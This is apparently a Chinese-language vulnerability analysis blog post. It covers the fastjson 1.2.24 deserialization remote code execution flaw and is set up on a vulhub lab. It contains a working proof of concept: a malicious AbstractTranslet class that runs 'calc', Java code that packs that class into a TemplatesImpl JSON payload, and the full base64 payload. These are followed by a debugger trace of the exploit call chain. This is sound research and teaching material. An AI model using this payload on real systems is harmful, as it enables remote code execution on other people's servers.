fastjson 1.2.24反序列化導致任意命令執行漏洞分析記錄
環境搭建:
漏洞影響版本:
fastjson在1.2.24以及之前版本存在遠端程式碼執行高危安全漏洞
環境地址:
https://github.com/vulhub/vulhub/tree/master/fastjson/vuln
正常訪問頁面返回hello,world~
此時抓包修改content-type為json格式,並post payload,即可執行rce
此時就能夠建立success檔案
前置知識:
研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法
package main.java; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import main.java.user; public class test_fast_json { public static void main(String[] args){ Map<String,Object> map = new HashMap<String, Object>(); map.put("key1","one"); map.put("key2","two"); //System.out.println(map.getClass()); String mapjson = JSON.toJSONString(map); System.out.println(mapjson.getClass()); user user1 = new user (); user1.setName("111"); System.out.println(JSON.toJSONString(user1)); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); user user2=(user)JSON.parse(serializedStr1); System.out.println(user2.getName()); Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println(obj.getClass()); Object obj1 = JSON.parseObject(serializedStr1,Object.class); //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class); user obj2 = (user)obj1; System.out.println(obj2.getName()); System.out.println(obj2.getClass()); } }
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user
這裡user為定義好的一個類,實際上fastjson提供給我們的也就是將物件快速轉換為可以傳輸的字串,當然也提供從字串中恢復出物件,也就是一個序列化和反序列化的過程,
可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字串,當JSON.toJSONstring帶有writeclassname時此時字串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其例項化物件的屬性值,再通過JSON.parse()函式即可通過fastjson序列化後的字串恢復該類的物件,當恢復物件時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的物件,否則只能恢復到JsonObject物件
漏洞分析:
這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes欄位,部分函式能夠根據這個欄位來生成類的例項,那麼這個類的建構函式是我們可控的,就能夠rce
test.java
package person; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
test.java在這裡的話主要是使用者parseObject json反序列化時所要還原的類,因為在這會例項化該類,因此直接在其構造方法中calc即可
poc.java
package person; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class位元組碼檔案轉存到位元組數粗輸出流中 } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類 String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"]," + //將evilcode放在_bytecodes處 "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); //String personStr = "{'name':"+text1+",'age':19}"; //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設定SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
我們已經知道在反序列化解析json字串時在parseobject時觸發
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下斷點,執行poc.java
此時首先呼叫com/alibaba/fastjson/JSON.java的parseObject函式來處理我們傳入的payload
此時判斷我們傳入的features是否為null,這裡
我們已經制定了支援非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接著呼叫defaultJsonParser來進一步處理payload
此時進一步呼叫javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進
此時在javaObjectDeserializer的deserialze函式中將判斷type的型別是不是泛型陣列型別的例項以及判斷type是不是類型別的例項,這裡兩處不滿足,所以呼叫parse.parse來解析
實際上此時又回到了
並且在此呼叫parseObject函式來處理我們的payload
接下來一部分就是語法解析,先匹配出了其中的雙引號",
比如先在parseObject函式中匹配出了@type
匹配出@type標誌以後,將會繼續向後掃描json字串,即取匹配相應的值,這個值也就是我們想要反序列化的類
繼續往下走,將呼叫deserializer.deserialze函式來處理反序列化資料,此時deserializer中已經包含了要例項化的templatesimpl類,
跟進此函式,則可以看到此時token為16並且text為我們的payload
接下來會呼叫parseField函式來對json字串中的一些key值進行匹配
這個方法裡面會呼叫smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除
當處理到_outputProperties欄位時,步入其smartMatch方法
此時在FieldDeserializer中將會呼叫setValue方,此時將會在其中呼叫getOutputProperties()方法,因為存在OutputProperties屬性
此時在TemplatesImpl類的getOutputProperties函式中將會呼叫newTransformer().getOutputProperties函式,在newTransformer函式中又呼叫了getTransletInstance()函式,
這裡首先判斷_name欄位不能為空,這也是為啥payload裡面會設定一個_name欄位
接下來就會呼叫newInstance()函式來例項化物件了,可以看到此事要求例項化的物件時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可,
可以看到此時_transletIndex為零,因此此時例項化的就是我們構造的惡意類,
縮減後的整個呼叫鏈即為:
JSON.parseObject ... JavaBeanDeserializer.deserialze ... FieldDeserializer.setValue ... TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer TemplatesImpl.getTransletInstance ... Runtime.getRuntime().exec
參考:
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://www.freebuf.com/vuls/178012.html
https://www.anquanke.com/post/id/173459#h2-10
http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/